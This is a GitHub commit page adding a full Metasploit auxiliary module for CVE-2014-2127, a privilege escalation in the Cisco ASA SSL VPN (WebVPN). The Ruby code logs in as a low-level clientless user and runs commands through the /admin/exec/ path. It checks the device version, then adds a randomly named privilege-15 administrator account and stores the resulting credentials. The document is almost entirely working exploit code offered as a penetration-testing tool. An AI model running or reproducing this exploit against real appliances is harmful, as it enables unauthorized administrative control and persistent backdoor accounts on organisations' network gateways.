Skip to content

Commit 493034a

Browse files
committed
Land rapid7#3305, @claudijd Cisco SSL VPN Privilege Escalation exploit
2 parents 047bc3d + e89a399 commit 493034a

File tree

1 file changed

+278
-0
lines changed

1 file changed

+278
-0
lines changed
Lines changed: 278 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,278 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability',
16+
'Description' => %q{
17+
This module exploits a privilege escalation vulnerability for Cisco
18+
ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
19+
level 15.
20+
},
21+
'Author' =>
22+
[
23+
'jclaudius <jclaudius[at]trustwave.com>',
24+
'lguay <laura.r.guay[at]gmail.com'
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2014-2127'],
30+
['URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
31+
['URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt']
32+
],
33+
'DisclosureDate' => 'Apr 09 2014'
34+
))
35+
36+
register_options(
37+
[
38+
Opt::RPORT(443),
39+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
40+
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
41+
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
42+
OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']),
43+
OptInt.new('RETRIES', [true, 'The number of exploit attempts to make', 10])
44+
], self.class
45+
)
46+
47+
end
48+
49+
def validate_cisco_ssl_vpn
50+
begin
51+
res = send_request_cgi(
52+
'uri' => '/',
53+
'method' => 'GET'
54+
)
55+
56+
vprint_good("#{peer} - Server is responsive")
57+
rescue ::Rex::ConnectionError, ::Errno::EPIPE
58+
return false
59+
end
60+
61+
res = send_request_cgi(
62+
'uri' => '/+CSCOE+/logon.html',
63+
'method' => 'GET'
64+
)
65+
66+
if res &&
67+
res.code == 302
68+
69+
res = send_request_cgi(
70+
'uri' => '/+CSCOE+/logon.html',
71+
'method' => 'GET',
72+
'vars_get' => { 'fcadbadd' => "1" }
73+
)
74+
end
75+
76+
if res &&
77+
res.code == 200 &&
78+
res.body.include?('webvpnlogin')
79+
return true
80+
else
81+
return false
82+
end
83+
end
84+
85+
def do_logout(cookie)
86+
res = send_request_cgi(
87+
'uri' => '/+webvpn+/webvpn_logout.html',
88+
'method' => 'GET',
89+
'cookie' => cookie
90+
)
91+
92+
if res &&
93+
res.code == 200
94+
vprint_good("#{peer} - Logged out")
95+
end
96+
end
97+
98+
def run_command(cmd, cookie)
99+
reformatted_cmd = cmd.gsub(/ /, "+")
100+
101+
res = send_request_cgi(
102+
'uri' => "/admin/exec/#{reformatted_cmd}",
103+
'method' => 'GET',
104+
'cookie' => cookie
105+
)
106+
107+
res
108+
end
109+
110+
def do_show_version(cookie, tries = 3)
111+
# Make up to three attempts because server can be a little flaky
112+
tries.times do |i|
113+
command = "show version"
114+
resp = run_command(command, cookie)
115+
116+
if resp &&
117+
resp.body.include?('Cisco Adaptive Security Appliance Software Version')
118+
return resp.body
119+
else
120+
vprint_error("#{peer} - Unable to run '#{command}'")
121+
vprint_good("#{peer} - Retrying #{i} '#{command}'") unless i == 2
122+
end
123+
end
124+
125+
return nil
126+
end
127+
128+
def add_user(cookie, tries = 3)
129+
username = Rex::Text.rand_text_alpha_lower(8)
130+
password = Rex::Text.rand_text_alphanumeric(20)
131+
132+
tries.times do |i|
133+
vprint_good("#{peer} - Attemping to add User: #{username}, Pass: #{password}")
134+
command = "username #{username} password #{password} privilege 15"
135+
resp = run_command(command, cookie)
136+
137+
if resp &&
138+
!resp.body.include?('Command authorization failed') &&
139+
!resp.body.include?('Command failed')
140+
vprint_good("#{peer} - Privilege Escalation Appeared Successful")
141+
return [username, password]
142+
else
143+
vprint_error("#{peer} - Unable to run '#{command}'")
144+
vprint_good("#{peer} - Retrying #{i} '#{command}'") unless i == tries - 1
145+
end
146+
end
147+
148+
return nil
149+
end
150+
151+
def do_login(user, pass, group)
152+
begin
153+
cookie = "webvpn=; " +
154+
"webvpnc=; " +
155+
"webvpn_portal=; " +
156+
"webvpnSharePoint=; " +
157+
"webvpnlogin=1; " +
158+
"webvpnLang=en;"
159+
160+
post_params = {
161+
'tgroup' => '',
162+
'next' => '',
163+
'tgcookieset' => '',
164+
'username' => user,
165+
'password' => pass,
166+
'Login' => 'Logon'
167+
}
168+
169+
post_params['group_list'] = group unless group.empty?
170+
171+
resp = send_request_cgi(
172+
'uri' => '/+webvpn+/index.html',
173+
'method' => 'POST',
174+
'ctype' => 'application/x-www-form-urlencoded',
175+
'cookie' => cookie,
176+
'vars_post' => post_params
177+
)
178+
179+
if resp &&
180+
resp.code == 200 &&
181+
resp.body.include?('SSL VPN Service') &&
182+
resp.body.include?('webvpn_logout')
183+
184+
vprint_good("#{peer} - Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}")
185+
return resp.get_cookies
186+
else
187+
return false
188+
end
189+
190+
rescue ::Rex::ConnectionError, ::Errno::EPIPE
191+
return false
192+
end
193+
end
194+
195+
def run_host(ip)
196+
# Validate we're dealing with Cisco SSL VPN
197+
unless validate_cisco_ssl_vpn
198+
vprint_error("#{peer} - Does not appear to be Cisco SSL VPN")
199+
return
200+
end
201+
202+
# This is crude, but I've found this to be somewhat
203+
# interimittent based on session, so we'll just retry
204+
# 'X' times.
205+
datastore['RETRIES'].times do |i|
206+
vprint_good("#{peer} - Exploit Attempt ##{i}")
207+
208+
# Authenticate to SSL VPN and get session cookie
209+
cookie = do_login(
210+
datastore['USERNAME'],
211+
datastore['PASSWORD'],
212+
datastore['GROUP']
213+
)
214+
215+
# See if our authentication attempt failed
216+
unless cookie
217+
vprint_error("#{peer} - Failed to login to Cisco SSL VPN")
218+
next
219+
end
220+
221+
# Grab version
222+
version = do_show_version(cookie)
223+
224+
if version &&
225+
version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
226+
print_good("#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}")
227+
else
228+
do_logout(cookie)
229+
vprint_error("#{peer} - Show version failed")
230+
next
231+
end
232+
233+
# Attempt to add an admin user
234+
creds = add_user(cookie)
235+
do_logout(cookie)
236+
237+
if creds
238+
print_good("#{peer} - Successfully added level 15 account #{creds.join(", ")}")
239+
user, pass = creds
240+
report_escalated_creds(user, pass)
241+
else
242+
vprint_error("#{peer} - Failed to created user account on Cisco SSL VPN")
243+
end
244+
end
245+
end
246+
247+
def report_escalated_creds(username, password)
248+
status = Metasploit::Model::Login::Status::SUCCESSFUL
249+
250+
service_data = {
251+
address: rhost,
252+
port: rport,
253+
service_name: 'https',
254+
protocol: 'tcp',
255+
workspace_id: myworkspace_id
256+
}
257+
258+
credential_data = {
259+
origin_type: :service,
260+
module_fullname: self.fullname,
261+
private_type: :password,
262+
private_data: password,
263+
username: username
264+
}
265+
266+
credential_data.merge!(service_data)
267+
credential_core = create_credential(credential_data)
268+
login_data = {
269+
core: credential_core,
270+
access_level: 'Level 15',
271+
status: status,
272+
last_attempted_at: DateTime.now
273+
}
274+
login_data.merge!(service_data)
275+
create_credential_login(login_data)
276+
end
277+
278+
end

0 commit comments

Comments
 (0)